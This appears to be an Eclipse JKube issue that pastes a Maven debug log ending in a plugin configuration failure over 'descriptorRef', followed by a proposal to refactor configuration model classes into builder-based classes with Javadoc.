[DEBUG]             org.eclipse.jkube:jkube-kit-config-image:jar:0.1.1-SNAPSHOT:compile
[DEBUG]             commons-codec:commons-codec:jar:1.13:compile
[DEBUG]       org.apache.httpcomponents:httpclient:jar:4.5.6:compile
[DEBUG]          org.apache.httpcomponents:httpcore:jar:4.4.10:compile
[DEBUG]          commons-logging:commons-logging:jar:1.2:compile
[DEBUG]       com.github.jnr:jnr-unixsocket:jar:0.12:compile
[DEBUG]          com.github.jnr:jnr-ffi:jar:2.0.9:compile
[DEBUG]             com.github.jnr:jffi:jar:1.2.11:compile
[DEBUG]             com.github.jnr:jffi:jar:native:1.2.11:runtime
[DEBUG]             org.ow2.asm:asm:jar:5.0.3:compile
[DEBUG]             org.ow2.asm:asm-commons:jar:5.0.3:compile
[DEBUG]             org.ow2.asm:asm-analysis:jar:5.0.3:compile
[DEBUG]             org.ow2.asm:asm-tree:jar:5.0.3:compile
[DEBUG]             org.ow2.asm:asm-util:jar:5.0.3:compile
[DEBUG]             com.github.jnr:jnr-x86asm:jar:1.0.2:compile
[DEBUG]          com.github.jnr:jnr-constants:jar:0.9.1:compile
[DEBUG]          com.github.jnr:jnr-enxio:jar:0.12:compile
[DEBUG]          com.github.jnr:jnr-posix:jar:3.0.29:compile
[DEBUG]       org.bouncycastle:bcpkix-jdk15on:jar:1.61:compile
[DEBUG]          org.bouncycastle:bcprov-jdk15on:jar:1.61:compile
[DEBUG]       org.apache.commons:commons-text:jar:1.1:compile
[DEBUG]    org.eclipse.jkube:jkube-kit-enricher-generic:jar:0.1.1-SNAPSHOT:compile
[DEBUG]       org.eclipse.jkube:jkube-kit-enricher-api:jar:0.1.1-SNAPSHOT:compile
[DEBUG]          org.eclipse.jkube:jkube-kit-resource-service:jar:0.1.1-SNAPSHOT:compile
[DEBUG]          com.google.code.findbugs:jsr305:jar:3.0.2:compile
[DEBUG]       io.fabric8:ianaservicehelper:jar:0.0.1:compile
[DEBUG]       com.google.code.gson:gson:jar:2.8.5:compile
[DEBUG]    org.eclipse.jkube:jkube-kit-enricher-specific:jar:0.1.1-SNAPSHOT:compile
[DEBUG]    org.eclipse.jkube:jkube-kit-generator-java-exec:jar:0.1.1-SNAPSHOT:compile
[DEBUG]       org.eclipse.jkube:jkube-kit-generator-api:jar:0.1.1-SNAPSHOT:compile
[DEBUG]          org.jboss.shrinkwrap:shrinkwrap-api:jar:1.2.6:compile
[DEBUG]          org.jboss.shrinkwrap:shrinkwrap-spi:jar:1.2.6:compile
[DEBUG]          org.jboss.shrinkwrap:shrinkwrap-impl-base:jar:1.2.6:compile
[DEBUG]    org.eclipse.jkube:jkube-kit-generator-karaf:jar:0.1.1-SNAPSHOT:compile
[DEBUG]    org.eclipse.jkube:jkube-kit-generator-webapp:jar:0.1.1-SNAPSHOT:compile
[DEBUG]    org.eclipse.jkube:jkube-kit-generator-wildfly-swarm:jar:0.1.1-SNAPSHOT:compile
[DEBUG]    org.eclipse.jkube:jkube-kit-thorntail:jar:0.1.1-SNAPSHOT:compile
[DEBUG]    org.eclipse.jkube:jkube-kit-spring-boot:jar:0.1.1-SNAPSHOT:compile
[DEBUG]       org.eclipse.jkube:jkube-kit-watcher-api:jar:0.1.1-SNAPSHOT:compile
[DEBUG]    org.eclipse.jkube:jkube-kit-quarkus:jar:0.1.1-SNAPSHOT:compile
[DEBUG]       org.eclipse.jkube:jkube-kit-common-maven:jar:0.1.1-SNAPSHOT:compile
[DEBUG]          org.eclipse.jkube:jkube-kit-common:jar:0.1.1-SNAPSHOT:compile
[DEBUG]             io.fabric8:kubernetes-client:jar:4.6.2:compile
[DEBUG]                io.fabric8:kubernetes-model:jar:4.6.2:compile
[DEBUG]                   io.fabric8:kubernetes-model-common:jar:4.6.2:compile
[DEBUG]                   com.fasterxml.jackson.module:jackson-module-jaxb-annotations:jar:2.9.10:compile
[DEBUG]                com.squareup.okhttp3:okhttp:jar:3.12.6:compile
[DEBUG]                   com.squareup.okio:okio:jar:1.15.0:compile
[DEBUG]                com.squareup.okhttp3:logging-interceptor:jar:3.12.6:compile
[DEBUG]                io.fabric8:zjsonpatch:jar:0.3.0:compile
[DEBUG]                com.github.mifmif:generex:jar:1.0.2:compile
[DEBUG]                   dk.brics.automaton:automaton:jar:1.11-8:compile
[DEBUG]             io.fabric8:openshift-client:jar:4.6.2:compile
[DEBUG]             org.apache.commons:commons-lang3:jar:3.8.1:compile
[DEBUG]             org.apache.commons:commons-compress:jar:1.19:compile
[DEBUG]             commons-io:commons-io:jar:2.6:compile
[DEBUG]             com.google.guava:guava:jar:27.0-jre:compile
[DEBUG]                com.google.guava:failureaccess:jar:1.0:compile
[DEBUG]                com.google.guava:listenablefuture:jar:9999.0-empty-to-avoid-conflict-with-guava:compile
[DEBUG]                org.checkerframework:checker-qual:jar:2.5.2:compile
[DEBUG]                com.google.errorprone:error_prone_annotations:jar:2.2.0:compile
[DEBUG]                com.google.j2objc:j2objc-annotations:jar:1.1:compile
[DEBUG]                org.codehaus.mojo:animal-sniffer-annotations:jar:1.17:compile
[DEBUG]             com.fasterxml.jackson.core:jackson-core:jar:2.10.0:compile
[DEBUG]             com.fasterxml.jackson.core:jackson-databind:jar:2.10.0:compile
[DEBUG]                com.fasterxml.jackson.core:jackson-annotations:jar:2.10.0:compile
[DEBUG]             com.fasterxml.jackson.dataformat:jackson-dataformat-yaml:jar:2.10.0:compile
[DEBUG]             org.slf4j:slf4j-api:jar:1.7.25:compile
[DEBUG]             org.yaml:snakeyaml:jar:1.25:compile
[DEBUG]             org.eclipse.jgit:org.eclipse.jgit:jar:5.3.0.201903130848-r:compile
[DEBUG]                com.jcraft:jsch:jar:0.1.54:compile
[DEBUG]                com.jcraft:jzlib:jar:1.1.1:compile
[DEBUG]                com.googlecode.javaewah:JavaEWAH:jar:1.1.6:compile
[DEBUG]                org.bouncycastle:bcpg-jdk15on:jar:1.60:compile
[DEBUG]             javax.validation:validation-api:jar:2.0.1.Final:compile
[DEBUG]             org.fusesource.jansi:jansi:jar:1.16:compile
[DEBUG]             org.javassist:javassist:jar:3.20.0-GA:compile
[DEBUG]             com.networknt:json-schema-validator:jar:0.1.7:compile
[DEBUG]                org.slf4j:slf4j-ext:jar:1.7.25:compile
[DEBUG]          org.apache.maven:maven-core:jar:3.5.4:compile
[DEBUG]             org.apache.maven:maven-model:jar:3.5.4:compile
[DEBUG]             org.apache.maven:maven-settings:jar:3.5.4:compile
[DEBUG]             org.apache.maven:maven-settings-builder:jar:3.5.4:compile
[DEBUG]                org.codehaus.plexus:plexus-interpolation:jar:1.24:compile
[DEBUG]                org.sonatype.plexus:plexus-sec-dispatcher:jar:1.4:compile
[DEBUG]                   org.sonatype.plexus:plexus-cipher:jar:1.4:compile
[DEBUG]             org.apache.maven:maven-builder-support:jar:3.5.4:compile
[DEBUG]             org.apache.maven:maven-repository-metadata:jar:3.5.4:compile
[DEBUG]             org.apache.maven:maven-artifact:jar:3.5.4:compile
[DEBUG]             org.apache.maven:maven-plugin-api:jar:3.5.4:compile
[DEBUG]             org.apache.maven:maven-model-builder:jar:3.5.4:compile
[DEBUG]             org.apache.maven:maven-resolver-provider:jar:3.5.4:compile
[DEBUG]             org.apache.maven.resolver:maven-resolver-impl:jar:1.1.1:compile
[DEBUG]             org.apache.maven.resolver:maven-resolver-api:jar:1.1.1:compile
[DEBUG]             org.apache.maven.resolver:maven-resolver-spi:jar:1.1.1:compile
[DEBUG]             org.apache.maven.resolver:maven-resolver-util:jar:1.1.1:compile
[DEBUG]             org.apache.maven.shared:maven-shared-utils:jar:3.2.1:compile
[DEBUG]             org.eclipse.sisu:org.eclipse.sisu.plexus:jar:0.3.3:compile
[DEBUG]                javax.enterprise:cdi-api:jar:1.0:compile
[DEBUG]                   javax.annotation:jsr250-api:jar:1.0:compile
[DEBUG]             org.eclipse.sisu:org.eclipse.sisu.inject:jar:0.3.3:compile
[DEBUG]             com.google.inject:guice:jar:no_aop:4.2.0:compile
[DEBUG]                aopalliance:aopalliance:jar:1.0:compile
[DEBUG]             javax.inject:javax.inject:jar:1:compile
[DEBUG]             org.codehaus.plexus:plexus-classworlds:jar:2.5.2:compile
[DEBUG]          org.codehaus.plexus:plexus-archiver:jar:3.5:compile
[DEBUG]             org.codehaus.plexus:plexus-utils:jar:3.0.24:compile
[DEBUG]             org.codehaus.plexus:plexus-io:jar:3.0.0:compile
[DEBUG]             org.iq80.snappy:snappy:jar:0.4:compile
[DEBUG]             org.tukaani:xz:jar:1.6:runtime
[DEBUG]          org.apache.maven.plugins:maven-assembly-plugin:jar:3.1.1:compile
[DEBUG]             org.apache.maven.shared:maven-artifact-transfer:jar:0.9.0:compile
[DEBUG]             org.apache.maven.shared:file-management:jar:3.0.0:compile
[DEBUG]             org.apache.maven.shared:maven-shared-io:jar:3.0.0:compile
[DEBUG]                org.apache.maven.wagon:wagon-provider-api:jar:2.10:compile
[DEBUG]             org.apache.maven.shared:maven-filtering:jar:3.1.1:compile
[DEBUG]                org.sonatype.plexus:plexus-build-api:jar:0.0.7:compile
[DEBUG]             org.apache.maven:maven-archiver:jar:3.2.0:compile
[DEBUG]          org.apache.maven.shared:maven-common-artifact-filters:jar:3.1.0:compile
[DEBUG]             org.sonatype.sisu:sisu-inject-plexus:jar:1.4.2:compile
[DEBUG]                org.codehaus.plexus:plexus-component-annotations:jar:1.5.4:compile
[DEBUG]                org.sonatype.sisu:sisu-inject-bean:jar:1.4.2:compile
[DEBUG]                   org.sonatype.sisu:sisu-guice:jar:noaop:2.1.7:compile
[DEBUG]    org.eclipse.jkube:jkube-kit-vertx:jar:0.1.1-SNAPSHOT:compile
[DEBUG]    org.eclipse.jkube:jkube-kit-profiles:jar:0.1.1-SNAPSHOT:compile
[DEBUG]       org.eclipse.jkube:jkube-kit-config-resource:jar:0.1.1-SNAPSHOT:compile
[DEBUG]          org.apache.maven.plugin-tools:maven-plugin-annotations:jar:3.6.0:compile
[DEBUG]    org.eclipse.jkube:jkube-kit-watcher-standard:jar:0.1.1-SNAPSHOT:compile
[DEBUG] Created new class realm plugin>org.eclipse.jkube:k8s-maven-plugin:0.1.1-SNAPSHOT
[DEBUG] Importing foreign packages into class realm plugin>org.eclipse.jkube:k8s-maven-plugin:0.1.1-SNAPSHOT
[DEBUG]   Imported:  < maven.api
[DEBUG] Populating class realm plugin>org.eclipse.jkube:k8s-maven-plugin:0.1.1-SNAPSHOT
[DEBUG]   Included: org.eclipse.jkube:k8s-maven-plugin:jar:0.1.1-SNAPSHOT
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-build-service-docker:jar:0.1.1-SNAPSHOT
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-build-maven:jar:0.1.1-SNAPSHOT
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-build-api:jar:0.1.1-SNAPSHOT
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-config-image:jar:0.1.1-SNAPSHOT
[DEBUG]   Included: commons-codec:commons-codec:jar:1.13
[DEBUG]   Included: org.apache.httpcomponents:httpclient:jar:4.5.6
[DEBUG]   Included: org.apache.httpcomponents:httpcore:jar:4.4.10
[DEBUG]   Included: commons-logging:commons-logging:jar:1.2
[DEBUG]   Included: com.github.jnr:jnr-unixsocket:jar:0.12
[DEBUG]   Included: com.github.jnr:jnr-ffi:jar:2.0.9
[DEBUG]   Included: com.github.jnr:jffi:jar:1.2.11
[DEBUG]   Included: com.github.jnr:jffi:jar:native:1.2.11
[DEBUG]   Included: org.ow2.asm:asm:jar:5.0.3
[DEBUG]   Included: org.ow2.asm:asm-commons:jar:5.0.3
[DEBUG]   Included: org.ow2.asm:asm-analysis:jar:5.0.3
[DEBUG]   Included: org.ow2.asm:asm-tree:jar:5.0.3
[DEBUG]   Included: org.ow2.asm:asm-util:jar:5.0.3
[DEBUG]   Included: com.github.jnr:jnr-x86asm:jar:1.0.2
[DEBUG]   Included: com.github.jnr:jnr-constants:jar:0.9.1
[DEBUG]   Included: com.github.jnr:jnr-enxio:jar:0.12
[DEBUG]   Included: com.github.jnr:jnr-posix:jar:3.0.29
[DEBUG]   Included: org.bouncycastle:bcpkix-jdk15on:jar:1.61
[DEBUG]   Included: org.bouncycastle:bcprov-jdk15on:jar:1.61
[DEBUG]   Included: org.apache.commons:commons-text:jar:1.1
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-enricher-generic:jar:0.1.1-SNAPSHOT
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-enricher-api:jar:0.1.1-SNAPSHOT
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-resource-service:jar:0.1.1-SNAPSHOT
[DEBUG]   Included: com.google.code.findbugs:jsr305:jar:3.0.2
[DEBUG]   Included: io.fabric8:ianaservicehelper:jar:0.0.1
[DEBUG]   Included: com.google.code.gson:gson:jar:2.8.5
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-enricher-specific:jar:0.1.1-SNAPSHOT
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-generator-java-exec:jar:0.1.1-SNAPSHOT
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-generator-api:jar:0.1.1-SNAPSHOT
[DEBUG]   Included: org.jboss.shrinkwrap:shrinkwrap-api:jar:1.2.6
[DEBUG]   Included: org.jboss.shrinkwrap:shrinkwrap-spi:jar:1.2.6
[DEBUG]   Included: org.jboss.shrinkwrap:shrinkwrap-impl-base:jar:1.2.6
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-generator-karaf:jar:0.1.1-SNAPSHOT
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-generator-webapp:jar:0.1.1-SNAPSHOT
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-generator-wildfly-swarm:jar:0.1.1-SNAPSHOT
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-thorntail:jar:0.1.1-SNAPSHOT
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-spring-boot:jar:0.1.1-SNAPSHOT
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-watcher-api:jar:0.1.1-SNAPSHOT
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-quarkus:jar:0.1.1-SNAPSHOT
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-common-maven:jar:0.1.1-SNAPSHOT
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-common:jar:0.1.1-SNAPSHOT
[DEBUG]   Included: io.fabric8:kubernetes-client:jar:4.6.2
[DEBUG]   Included: io.fabric8:kubernetes-model:jar:4.6.2
[DEBUG]   Included: io.fabric8:kubernetes-model-common:jar:4.6.2
[DEBUG]   Included: com.fasterxml.jackson.module:jackson-module-jaxb-annotations:jar:2.9.10
[DEBUG]   Included: com.squareup.okhttp3:okhttp:jar:3.12.6
[DEBUG]   Included: com.squareup.okio:okio:jar:1.15.0
[DEBUG]   Included: com.squareup.okhttp3:logging-interceptor:jar:3.12.6
[DEBUG]   Included: io.fabric8:zjsonpatch:jar:0.3.0
[DEBUG]   Included: com.github.mifmif:generex:jar:1.0.2
[DEBUG]   Included: dk.brics.automaton:automaton:jar:1.11-8
[DEBUG]   Included: io.fabric8:openshift-client:jar:4.6.2
[DEBUG]   Included: org.apache.commons:commons-lang3:jar:3.8.1
[DEBUG]   Included: org.apache.commons:commons-compress:jar:1.19
[DEBUG]   Included: commons-io:commons-io:jar:2.6
[DEBUG]   Included: com.google.guava:guava:jar:27.0-jre
[DEBUG]   Included: com.google.guava:failureaccess:jar:1.0
[DEBUG]   Included: com.google.guava:listenablefuture:jar:9999.0-empty-to-avoid-conflict-with-guava
[DEBUG]   Included: org.checkerframework:checker-qual:jar:2.5.2
[DEBUG]   Included: com.google.errorprone:error_prone_annotations:jar:2.2.0
[DEBUG]   Included: com.google.j2objc:j2objc-annotations:jar:1.1
[DEBUG]   Included: org.codehaus.mojo:animal-sniffer-annotations:jar:1.17
[DEBUG]   Included: com.fasterxml.jackson.core:jackson-core:jar:2.10.0
[DEBUG]   Included: com.fasterxml.jackson.core:jackson-databind:jar:2.10.0
[DEBUG]   Included: com.fasterxml.jackson.core:jackson-annotations:jar:2.10.0
[DEBUG]   Included: com.fasterxml.jackson.dataformat:jackson-dataformat-yaml:jar:2.10.0
[DEBUG]   Included: org.yaml:snakeyaml:jar:1.25
[DEBUG]   Included: org.eclipse.jgit:org.eclipse.jgit:jar:5.3.0.201903130848-r
[DEBUG]   Included: com.jcraft:jsch:jar:0.1.54
[DEBUG]   Included: com.jcraft:jzlib:jar:1.1.1
[DEBUG]   Included: com.googlecode.javaewah:JavaEWAH:jar:1.1.6
[DEBUG]   Included: org.bouncycastle:bcpg-jdk15on:jar:1.60
[DEBUG]   Included: javax.validation:validation-api:jar:2.0.1.Final
[DEBUG]   Included: org.javassist:javassist:jar:3.20.0-GA
[DEBUG]   Included: com.networknt:json-schema-validator:jar:0.1.7
[DEBUG]   Included: org.slf4j:slf4j-ext:jar:1.7.25
[DEBUG]   Included: org.codehaus.plexus:plexus-interpolation:jar:1.24
[DEBUG]   Included: org.sonatype.plexus:plexus-sec-dispatcher:jar:1.4
[DEBUG]   Included: org.sonatype.plexus:plexus-cipher:jar:1.4
[DEBUG]   Included: org.apache.maven:maven-builder-support:jar:3.5.4
[DEBUG]   Included: org.apache.maven.resolver:maven-resolver-util:jar:1.1.1
[DEBUG]   Included: org.apache.maven.shared:maven-shared-utils:jar:3.2.1
[DEBUG]   Included: javax.enterprise:cdi-api:jar:1.0
[DEBUG]   Included: org.eclipse.sisu:org.eclipse.sisu.inject:jar:0.3.3
[DEBUG]   Included: com.google.inject:guice:jar:no_aop:4.2.0
[DEBUG]   Included: aopalliance:aopalliance:jar:1.0
[DEBUG]   Included: org.codehaus.plexus:plexus-archiver:jar:3.5
[DEBUG]   Included: org.codehaus.plexus:plexus-utils:jar:3.0.24
[DEBUG]   Included: org.codehaus.plexus:plexus-io:jar:3.0.0
[DEBUG]   Included: org.iq80.snappy:snappy:jar:0.4
[DEBUG]   Included: org.tukaani:xz:jar:1.6
[DEBUG]   Included: org.apache.maven.plugins:maven-assembly-plugin:jar:3.1.1
[DEBUG]   Included: org.apache.maven.shared:maven-artifact-transfer:jar:0.9.0
[DEBUG]   Included: org.apache.maven.shared:file-management:jar:3.0.0
[DEBUG]   Included: org.apache.maven.shared:maven-shared-io:jar:3.0.0
[DEBUG]   Included: org.apache.maven.shared:maven-filtering:jar:3.1.1
[DEBUG]   Included: org.sonatype.plexus:plexus-build-api:jar:0.0.7
[DEBUG]   Included: org.apache.maven:maven-archiver:jar:3.2.0
[DEBUG]   Included: org.apache.maven.shared:maven-common-artifact-filters:jar:3.1.0
[DEBUG]   Included: org.codehaus.plexus:plexus-component-annotations:jar:1.5.4
[DEBUG]   Included: org.sonatype.sisu:sisu-inject-bean:jar:1.4.2
[DEBUG]   Included: org.sonatype.sisu:sisu-guice:jar:noaop:2.1.7
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-vertx:jar:0.1.1-SNAPSHOT
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-profiles:jar:0.1.1-SNAPSHOT
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-config-resource:jar:0.1.1-SNAPSHOT
[DEBUG]   Included: org.apache.maven.plugin-tools:maven-plugin-annotations:jar:3.6.0
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-watcher-standard:jar:0.1.1-SNAPSHOT
[DEBUG] Configuring mojo org.eclipse.jkube:k8s-maven-plugin:0.1.1-SNAPSHOT:build from plugin realm ClassRealm[plugin>org.eclipse.jkube:k8s-maven-plugin:0.1.1-SNAPSHOT, parent: sun.misc.Launcher$AppClassLoader@7852e922]
[DEBUG] Configuring mojo 'org.eclipse.jkube:k8s-maven-plugin:0.1.1-SNAPSHOT:build' with basic configurator -->
[DEBUG]   (f) autoCreateCustomNetworks = false
[DEBUG]   (f) buildRecreate = none
[DEBUG]   (f) forcePull = false
[DEBUG]   (s) name = rohankanojia/helloworld-java:0.1.1-SNAPSHOT
[DEBUG]   (f) alias = hello-world
[DEBUG]   (f) from = openjdk:latest
[INFO] ------------------------------------------------------------------------
[INFO] BUILD FAILURE
[INFO] ------------------------------------------------------------------------
[INFO] Total time:  1.366 s
[INFO] Finished at: 2020-02-06T17:20:42+05:30
[INFO] ------------------------------------------------------------------------
[ERROR] Failed to execute goal org.eclipse.jkube:k8s-maven-plugin:0.1.1-SNAPSHOT:build (default-cli) on project dmp-sample-helloworld: Unable to parse configuration of mojo org.eclipse.jkube:k8s-maven-plugin:0.1.1-SNAPSHOT:build for parameter descriptorRef: Cannot find 'descriptorRef' in class java.lang.Object -> [Help 1]
org.apache.maven.lifecycle.LifecycleExecutionException: Failed to execute goal org.eclipse.jkube:k8s-maven-plugin:0.1.1-SNAPSHOT:build (default-cli) on project dmp-sample-helloworld: Unable to parse configuration of mojo org.eclipse.jkube:k8s-maven-plugin:0.1.1-SNAPSHOT:build for parameter descriptorRef: Cannot find 'descriptorRef' in class java.lang.Object
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:215)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:156)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:148)
    at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:117)
    at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:81)
    at org.apache.maven.lifecycle.internal.builder.singlethreaded.SingleThreadedBuilder.build (SingleThreadedBuilder.java:56)
    at org.apache.maven.lifecycle.internal.LifecycleStarter.execute (LifecycleStarter.java:128)
    at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:305)
    at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:192)
    at org.apache.maven.DefaultMaven.execute (DefaultMaven.java:105)
    at org.apache.maven.cli.MavenCli.execute (MavenCli.java:957)
    at org.apache.maven.cli.MavenCli.doMain (MavenCli.java:289)
    at org.apache.maven.cli.MavenCli.main (MavenCli.java:193)
    at sun.reflect.NativeMethodAccessorImpl.invoke0 (Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke (Method.java:498)
    at org.codehaus.plexus.classworlds.launcher.Launcher.launchEnhanced (Launcher.java:282)
    at org.codehaus.plexus.classworlds.launcher.Launcher.launch (Launcher.java:225)
    at org.codehaus.plexus.classworlds.launcher.Launcher.mainWithExitCode (Launcher.java:406)
    at org.codehaus.plexus.classworlds.launcher.Launcher.main (Launcher.java:347)
Caused by: org.apache.maven.plugin.PluginConfigurationException: Unable to parse configuration of mojo org.eclipse.jkube:k8s-maven-plugin:0.1.1-SNAPSHOT:build for parameter descriptorRef: Cannot find 'descriptorRef' in class java.lang.Object
    at org.apache.maven.plugin.internal.DefaultMavenPluginManager.populatePluginFields (DefaultMavenPluginManager.java:665)
    at org.apache.maven.plugin.internal.DefaultMavenPluginManager.getConfiguredMojo (DefaultMavenPluginManager.java:597)
    at org.apache.maven.plugin.DefaultBuildPluginManager.executeMojo (DefaultBuildPluginManager.java:124)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:210)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:156)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:148)
    at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:117)
    at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:81)
    at org.apache.maven.lifecycle.internal.builder.singlethreaded.SingleThreadedBuilder.build (SingleThreadedBuilder.java:56)
    at org.apache.maven.lifecycle.internal.LifecycleStarter.execute (LifecycleStarter.java:128)
    at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:305)
    at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:192)
    at org.apache.maven.DefaultMaven.execute (DefaultMaven.java:105)
    at org.apache.maven.cli.MavenCli.execute (MavenCli.java:957)
    at org.apache.maven.cli.MavenCli.doMain (MavenCli.java:289)
    at org.apache.maven.cli.MavenCli.main (MavenCli.java:193)
    at sun.reflect.NativeMethodAccessorImpl.invoke0 (Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke (Method.java:498)
    at org.codehaus.plexus.classworlds.launcher.Launcher.launchEnhanced (Launcher.java:282)
    at org.codehaus.plexus.classworlds.launcher.Launcher.launch (Launcher.java:225)
    at org.codehaus.plexus.classworlds.launcher.Launcher.mainWithExitCode (Launcher.java:406)
    at org.codehaus.plexus.classworlds.launcher.Launcher.main (Launcher.java:347)
Caused by: org.codehaus.plexus.component.configurator.ComponentConfigurationException: Cannot find 'descriptorRef' in class java.lang.Object
    at org.eclipse.sisu.plexus.CompositeBeanHelper.setProperty (CompositeBeanHelper.java:252)
    at org.codehaus.plexus.component.configurator.converters.composite.ObjectWithFieldsConverter.processConfiguration (ObjectWithFieldsConverter.java:101)
    at org.codehaus.plexus.component.configurator.converters.composite.ObjectWithFieldsConverter.fromConfiguration (ObjectWithFieldsConverter.java:57)
    at org.eclipse.sisu.plexus.CompositeBeanHelper.convertProperty (CompositeBeanHelper.java:273)
    at org.eclipse.sisu.plexus.CompositeBeanHelper.setProperty (CompositeBeanHelper.java:210)
    at org.codehaus.plexus.component.configurator.converters.composite.ObjectWithFieldsConverter.processConfiguration (ObjectWithFieldsConverter.java:101)
    at org.codehaus.plexus.component.configurator.converters.composite.ObjectWithFieldsConverter.fromConfiguration (ObjectWithFieldsConverter.java:57)
    at org.eclipse.sisu.plexus.CompositeBeanHelper.convertProperty (CompositeBeanHelper.java:273)
    at org.eclipse.sisu.plexus.CompositeBeanHelper.setProperty (CompositeBeanHelper.java:210)
    at org.codehaus.plexus.component.configurator.converters.composite.ObjectWithFieldsConverter.processConfiguration (ObjectWithFieldsConverter.java:101)
    at org.codehaus.plexus.component.configurator.converters.composite.ObjectWithFieldsConverter.fromConfiguration (ObjectWithFieldsConverter.java:57)
    at org.codehaus.plexus.component.configurator.converters.composite.AbstractCollectionConverter.fromChildren (AbstractCollectionConverter.java:54)
    at org.codehaus.plexus.component.configurator.converters.composite.CollectionConverter.fromConfiguration (CollectionConverter.java:68)
    at org.eclipse.sisu.plexus.CompositeBeanHelper.convertProperty (CompositeBeanHelper.java:268)
    at org.eclipse.sisu.plexus.CompositeBeanHelper.setProperty (CompositeBeanHelper.java:210)
    at org.codehaus.plexus.component.configurator.converters.composite.ObjectWithFieldsConverter.processConfiguration (ObjectWithFieldsConverter.java:101)
    at org.codehaus.plexus.component.configurator.BasicComponentConfigurator.configureComponent (BasicComponentConfigurator.java:34)
    at org.apache.maven.plugin.internal.DefaultMavenPluginManager.populatePluginFields (DefaultMavenPluginManager.java:635)
    at org.apache.maven.plugin.internal.DefaultMavenPluginManager.getConfiguredMojo (DefaultMavenPluginManager.java:597)
    at org.apache.maven.plugin.DefaultBuildPluginManager.executeMojo (DefaultBuildPluginManager.java:124)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:210)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:156)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:148)
    at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:117)
    at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:81)
    at org.apache.maven.lifecycle.internal.builder.singlethreaded.SingleThreadedBuilder.build (SingleThreadedBuilder.java:56)
    at org.apache.maven.lifecycle.internal.LifecycleStarter.execute (LifecycleStarter.java:128)
    at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:305)
    at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:192)
    at org.apache.maven.DefaultMaven.execute (DefaultMaven.java:105)
    at org.apache.maven.cli.MavenCli.execute (MavenCli.java:957)
    at org.apache.maven.cli.MavenCli.doMain (MavenCli.java:289)
    at org.apache.maven.cli.MavenCli.main (MavenCli.java:193)
    at sun.reflect.NativeMethodAccessorImpl.invoke0 (Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke (Method.java:498)
    at org.codehaus.plexus.classworlds.launcher.Launcher.launchEnhanced (Launcher.java:282)
    at org.codehaus.plexus.classworlds.launcher.Launcher.launch (Launcher.java:225)
    at org.codehaus.plexus.classworlds.launcher.Launcher.mainWithExitCode (Launcher.java:406)
    at org.codehaus.plexus.classworlds.launcher.Launcher.main (Launcher.java:347)
[ERROR] 
[ERROR] 
[ERROR] For more information about the errors and possible solutions, please read the following articles:
[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/PluginConfigurationException
~/work/repos/jkube-imageconfig-sample : $ 

Refactor Configuration Model

Description

All configuration model classes should be refactored to provide a consistent fluent DSL interface.

  • All classes must have a builder (builder should be auto-generated [ide, lombok, etc.])
  • All classes must include Javadoc documenting the usage and specifics of each configuration variable

Tasks

  • Refactor jkube-kit-common model
  • Add Javadoc jkube-kit-common model
  • Remove Generic typed builders introduced in first step of Maven Decoupling (We now have a JKube, maven agnostic, specific model)
  • Refactor jkube-kit-build-service-docker configuration model
